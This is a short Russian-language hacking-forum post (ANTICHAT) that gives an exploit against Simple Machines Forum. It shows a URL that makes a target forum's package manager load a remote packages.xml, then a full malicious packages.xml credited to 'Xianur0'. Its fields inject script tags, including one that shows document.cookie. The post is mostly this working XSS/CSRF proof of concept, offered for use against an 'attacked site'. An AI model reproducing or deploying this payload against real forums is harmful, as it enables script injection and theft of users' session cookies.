ANTICHAT - Показать сообщение отдельно

http://атакуемыйсайт.com/index.php?action=packageget;sa=browse;absolute=htt p://твой сайт.com

а на нем файл packages.xml
с таким вот содержанием:

PHP код:


		
			
<?xml version="1.0"?>

<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">

<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

XSRF SMF PoC By Xianur0

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->



<package-list xmlns="http://www.simplemachines.org/xml/package-list"

xmlns:smf="http://www.simplemachines.org/">

<list-title>Xianur0 Was Here</list-title>



<section>

    <title>SMF XSS PoC By Xianur0</title>

    <text><![CDATA[<script>alert('XSS')</script>]]></text>

    <modification>

        <id>Xianur0:XSMF</id>

        <name>SMF PoC By Xianur0</name>

        <filename>smfexploit.zip</filename>

        <version>0.1</version>

        <author email="uxmal666@gmail.com">Xianur0</author>

        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>

    </modification>

</section>

</package-list>

эммм... как бэ вроде так